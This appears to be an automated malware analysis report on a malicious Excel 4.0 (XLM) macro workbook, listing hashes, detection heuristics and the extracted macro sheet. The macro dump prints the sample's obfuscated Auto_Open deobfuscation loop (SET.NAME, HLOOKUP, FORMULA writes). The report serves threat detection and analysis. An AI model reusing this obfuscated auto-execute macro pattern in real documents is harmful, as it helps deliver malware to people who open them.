Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5cfb7502079d7642…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:18 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: c02f3382253da7ea2432fe82db289978 SHA-1: d4ee44d6c306f377e5e9473186473e1af4071d3c SHA-256: 5cfb7502079d7642102cb08f21f538788a3a09b9c2c414a343aa92a2b759ec50
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: a5d9ca70ad0f235062dac28a95d67f96ddfe9319615325bb0c9081e77b0000d8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CyYg
' 0018     22 LABEL : Cell Value, String Constant - AMpZnFi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H170 
' 0018     22 LABEL : Cell Value, String Constant - cIrIvnz len=0 
' 0018     22 LABEL : Cell Value, String Constant - DOQEvcL len=0 
' 0018     23 LABEL : Cell Value, String Constant - GDfMWjuD len=0 
' 0018     20 LABEL : Cell Value, String Constant - GhFWz len=0 
' 0018     23 LABEL : Cell Value, String Constant - iIXlGzwA len=0 
' 0018     25 LABEL : Cell Value, String Constant - OPWIGpWLHW len=0 
' 0018     21 LABEL : Cell Value, String Constant - OuOYLs len=0 
' 0018     26 LABEL : Cell Value, String Constant - pMQxFOanftg len=0 
' 0018     23 LABEL : Cell Value, String Constant - qMEwZuto len=0 
' 0018     26 LABEL : Cell Value, String Constant - rGbNVBZfvSx len=0 
' 0018     27 LABEL : Cell Value, String Constant - rQAaWJOJtPYa len=0 
' 0018     21 LABEL : Cell Value, String Constant - rumwxJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - RVFCbQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - SZfAMNgeonn len=0 
' 0018     25 LABEL : Cell Value, String Constant - TuYYGtvJtq len=0 
' 0018     20 LABEL : Cell Value, String Constant - UyqOw len=0 
' 0018     26 LABEL : Cell Value, String Constant - wGljbsntCuo len=0 
' 0018     23 LABEL : Cell Value, String Constant - ydViZFDv len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZkFJpMoiqgny len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CyYg,H86,"SET.NAME("SZfAMNgeonn",VALUE("0"))",""
'  CyYg,H90,"SET.NAME("GDfMWjuD",SZfAMNgeonn)",""
'  CyYg,H92,"SET.NAME("rGbNVBZfvSx",SZfAMNgeonn)",""
'  CyYg,H96,"SET.NAME("OPWIGpWLHW",COUNTA(rumwxJ))",""
'  CyYg,H98,"SET.NAME("ZkFJpMoiqgny",COUNTA(wGljbsntCuo))",""
'  CyYg,H102,[],""
'  CyYg,H105,"SET.NAME("GhFWz","")",""
'  CyYg,H107,"GDfMWjuD",""
'  CyYg,H111,"SET.NAME("UyqOw",HLOOKUP("*",rumwxJ,GDfMWjuD,FALSE))",""
'  CyYg,H115,"iIXlGzwA",""
'  CyYg,H119,"SET.NAME("rQAaWJOJtPYa",SZfAMNgeonn)",""
'  CyYg,H121,[],""
'  CyYg,H125,"rQAaWJOJtPYa",""
'  CyYg,H128,"TuYYGtvJtq",""
'  CyYg,H131,"qMEwZuto",""
'  CyYg,H134,"OuOYLs",""
'  CyYg,H136,"SET.NAME("RVFCbQ",VALUE(HLOOKUP("*",wGljbsntCuo,OuOYLs,FALSE)))",""
'  CyYg,H138,"pMQxFOanftg",""
'  CyYg,H142,"GhFWz",""
'  CyYg,H145,"rGbNVBZfvSx",""
'  CyYg,H149,NEXT(),""
'  CyYg,H152,"cIrIvnz",""
'  CyYg,H154,"SET.NAME("f",INT(T(FORMULA(T(GhFWz)&"",""&T(cIrIvnz)))))",""
'  CyYg,H157,"DOQEvcL",""
'  CyYg,H161,NEXT(),""
'  CyYg,H166,RETURN(),""
'  CyYg,H193,"SET.NAME("AMpZnFi",H86)",""
'  CyYg,H195,"rumwxJ",""
'  CyYg,H199,"SET.NAME("wGljbsntCuo",R75C11)",""
'  CyYg,H201,"SET.NAME("DOQEvcL",209)",""
'  CyYg,H204,"SET.NAME("ydViZFDv",8)",""
'  CyYg,H208,AMpZnFi(),""
'  CyYg,H209,HALT(),""